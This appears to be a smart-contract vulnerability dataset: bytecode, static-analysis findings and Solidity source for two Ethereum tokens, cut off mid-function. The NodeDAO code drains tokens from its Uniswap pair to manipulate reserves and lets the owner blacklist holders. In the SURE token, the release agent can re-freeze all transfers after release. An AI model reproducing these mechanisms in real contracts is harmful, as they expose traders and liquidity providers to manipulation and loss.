085015250505060800152939250505056fea2646970667358221220dcfaa25adcd0996b306ef490314229500251f19aa33feb61b4d7e88103785d4c64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,713 |
0x1b20d171d65245d0996989c9792d1051d5b47672
|
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 public totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Ownable
* The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract SUREToken is MintableToken {
address private deployedAddress = 0x65E5fF263Dd264b78ADcb08c1788c4CEC8910B4B; //Replace this address by the Ethereum main net
string public name = "SURE";
string public symbol = "SURE Token";
uint public decimals = 6;
uint public totalSupplyToken = 500000000;
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/* A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/* Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
constructor() public {
totalSupply_ = totalSupplyToken * (10 ** decimals);
balances[deployedAddress] = totalSupply_;
transferAgents[deployedAddress] = true;
releaseAgent = deployedAddress;
emit Transfer(address(0), deployedAddress, totalSupply_);
}
/**
* Limit token transfer until the crowdsale is over.
*/
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
_;
}
/**
* Set the contract that can call release and make the token transferable.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
/**
* End locking state
*/
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
/**
* Resume locking state.
*/
function stopTokenTransfer() public onlyReleaseAgent {
released = false;
}
/** The function can be called only before or after the tokens have been releasesd */
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
|
0x60806040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302f652a3811461016357806305d2035b1461018b57806306fdde03146101b4578063095ea7b31461023e57806318160ddd1461026257806323b872dd1461028957806327213345146102b357806327e235e3146102c857806329ff4f53146102e9578063313ce5671461030a578063324536eb1461031f57806340c10f19146103345780635f412d4f14610358578063661884631461036d57806370a0823114610391578063715018a6146103b25780637d64bcb4146103c7578063867c2857146103dc5780638da5cb5b146103fd57806395d89b411461042e5780639613252114610443578063a9059cbb14610458578063b49d3a531461047c578063d1f276d314610491578063d73dd623146104a6578063dd62ed3e146104ca578063f2fde38b146104f1575b600080fd5b34801561016f57600080fd5b50610189600160a060020a03600435166024351515610512565b005b34801561019757600080fd5b506101a061056f565b604080519115158252519081900360200190f35b3480156101c057600080fd5b506101c961057f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102035781810151838201526020016101eb565b50505050905090810190601f1680156102305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024a57600080fd5b506101a0600160a060020a036004351660243561060d565b34801561026e57600080fd5b50610277610673565b60408051918252519081900360200190f35b34801561029557600080fd5b506101a0600160a060020a0360043581169060243516604435610679565b3480156102bf57600080fd5b506102776106cc565b3480156102d457600080fd5b50610277600160a060020a03600435166106d2565b3480156102f557600080fd5b50610189600160a060020a03600435166106e4565b34801561031657600080fd5b50610277610745565b34801561032b57600080fd5b5061027761074b565b34801561034057600080fd5b506101a0600160a060020a0360043516602435610751565b34801561036457600080fd5b5061018961085b565b34801561037957600080fd5b506101a0600160a060020a0360043516602435610898565b34801561039d57600080fd5b50610277600160a060020a0360043516610988565b3480156103be57600080fd5b506101896109a3565b3480156103d357600080fd5b506101a0610a11565b3480156103e857600080fd5b506101a0600160a060020a0360043516610a95565b34801561040957600080fd5b50610412610aaa565b60408051600160a060020a039092168252519081900360200190f35b34801561043a57600080fd5b506101c9610ab9565b34801561044f57600080fd5b506101a0610b14565b34801561046457600080fd5b506101a0600160a060020a0360043516602435610b24565b34801561048857600080fd5b50610189610b75565b34801561049d57600080fd5b50610412610bac565b3480156104b257600080fd5b506101a0600160a060020a0360043516602435610bbb565b3480156104d657600080fd5b50610277600160a060020a0360043581169060243516610c54565b3480156104fd57600080fd5b50610189600160a060020a0360043516610c7f565b600354600160a060020a0316331461052957600080fd5b60095460009060a060020a900460ff161561054357600080fd5b50600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106055780601f106105da57610100808354040283529160200191610605565b820191906000526020600020905b8154815290600101906020018083116105e857829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600954600090849060a060020a900460ff1615156106b857600160a060020a0381166000908152600a602052604090205460ff1615156106b857600080fd5b6106c3858585610ca2565b95945050505050565b60085481565b60006020819052908152604090205481565b600354600160a060020a031633146106fb57600080fd5b60095460009060a060020a900460ff161561071557600080fd5b506009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60075481565b60015481565b600354600090600160a060020a0316331461076b57600080fd5b60035460a060020a900460ff161561078257600080fd5b600154610795908363ffffffff610e1916565b600155600160a060020a0383166000908152602081905260409020546107c1908363ffffffff610e1916565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600954600160a060020a0316331461087257600080fd5b6009805474ff0000000000000000000000000000000000000000191660a060020a179055565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156108ed57336000908152600260209081526040808320600160a060020a0388168452909152812055610922565b6108fd818463ffffffff610e2c16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146109ba57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a03163314610a2b57600080fd5b60035460a060020a900460ff1615610a4257600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600a6020526000908152604090205460ff1681565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106055780601f106105da57610100808354040283529160200191610605565b60095460a060020a900460ff1681565b600954600090339060a060020a900460ff161515610b6357600160a060020a0381166000908152600a602052604090205460ff161515610b6357600080fd5b610b6d8484610e3e565b949350505050565b600954600160a060020a03163314610b8c57600080fd5b6009805474ff000000000000000000000000000000000000000019169055565b600954600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054610bef908363ffffffff610e1916565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610c9657600080fd5b610c9f81610f1f565b50565b6000600160a060020a0383161515610cb957600080fd5b600160a060020a038416600090815260208190526040902054821115610cde57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610d0e57600080fd5b600160a060020a038416600090815260208190526040902054610d37908363ffffffff610e2c16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610d6c908363ffffffff610e1916565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610dae908363ffffffff610e2c16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b81810182811015610e2657fe5b92915050565b600082821115610e3857fe5b50900390565b6000600160a060020a0383161515610e5557600080fd5b33600090815260208190526040902054821115610e7157600080fd5b33600090815260208190526040902054610e91908363ffffffff610e2c16565b3360009081526020819052604080822092909255600160a060020a03851681522054610ec3908363ffffffff610e1916565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a0381161515610f3457600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820a9630627436b58484e64102b9e50dadc213259210ab3d12370ce38fb83acf6a10029
|
{"success": true, "error": null, "results": {}}
| 8,714 |
0x8129474dd964d61e147460e423ba14d4f22f2be3
|
/**
*Submitted for verification at Etherscan.io on 2021-12-13
*/
/*
\ | | __ \ \ _ \
\ | _ \ _` | _ \ | | _ \ | |
|\ | ( | ( | __/ | | ___ \ | |
_| \_| \___/ \__,_| \___| ____/ _/ _\ \___/
Telegram: https://t.me/NodeDAO
Discord: https://discord.gg/NodeDAO
Twitter: https://twitter.com/Node_DAO
Website: https://nodedao.finance
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NodeDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "NodeDAO";
string private constant _symbol = "NDAO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private uniswapV2PairInterface;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
address private deadWallet = 0x000000000000000000000000000000000000dEaD;
bool private mitigationEnabled = true;
uint private mitigationFactor = 100;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xe473cDD570D395f8909835d436a3D406bb5af4a9);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (disableFee) {
_feeAddr1 = 0;
_feeAddr2 = 0;
} else {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
if (from != address(this) && to != deadWallet && from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
// cooldown[to] = block.timestamp + (30 seconds);
// require(cooldown[to] < block.timestamp);
}
if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function changeMitigationFactor(uint256 newMitigationFactor) public onlyOwner {
mitigationFactor = newMitigationFactor;
}
function changeMitigationEnabled(bool newMitigationEnabled) public onlyOwner {
mitigationEnabled = newMitigationEnabled;
}
function getReserves() internal returns (uint256 reserveToken, uint256 reserveETH, uint256 ratio) {
(uint112 _reserve0, uint112 _reserve1,) = uniswapV2PairInterface.getReserves();
//Check which reserve belongs to this tokens contract address
bool isFirstReserve = uniswapV2PairInterface.token0() == address(this);
//Calculate reserve values
uint256 reserveToken = isFirstReserve ? _reserve0 : _reserve1;
uint256 reserveETH = isFirstReserve ? _reserve1 : _reserve0;
uint256 ratio = reserveToken.div(reserveETH);
return (reserveToken, reserveETH, ratio);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
disableFee = true;
if (mitigationEnabled) {
swapTokensForEthWithMitigation(tokenAmount);
} else {
swapTokensForEthNormal(tokenAmount);
}
disableFee = false;
}
function swapTokensForEthNormal(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapTokensForEthWithMitigation(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//ratio = token / eth
(uint256 oldTokenReserve, uint256 oldETHReserve ,uint256 ratio) = getReserves();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
(uint256 reserveToken, uint256 reserveETH,uint256 ratio2) = getReserves();
uint256 correctedReserve = ratio.mul(reserveETH);
uint256 reserveOffset = reserveToken.sub(correctedReserve);
reserveOffset = reserveOffset.mul(mitigationFactor).div(100);
_transfer(uniswapV2Pair, deadWallet, reserveOffset);
uniswapV2PairInterface.sync();
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function setSwapEnabled(bool isEnabled) public payable onlyOwner() {
swapEnabled = isEnabled;
}
bool internal disableFee = false;
function openTrading(address router) external payable onlyOwner() {
disableFee = true;
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2PairInterface = IUniswapV2Pair(uniswapV2Pair);
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_isExcludedFromFee[address(uniswapV2Pair)] = true;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
disableFee = false;
}
function changeMaxTxAmount(uint newTxAmount) external onlyOwner {
_maxTxAmount = newTxAmount;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswapsend() external onlyOwner {
// require(msg.sender == _feeAddrWallet, 'Not owner');
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function manualsend(uint amount) public onlyOwner {
if (amount > address(this).balance) amount = address(this).balance;
payable(owner()).transfer(amount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
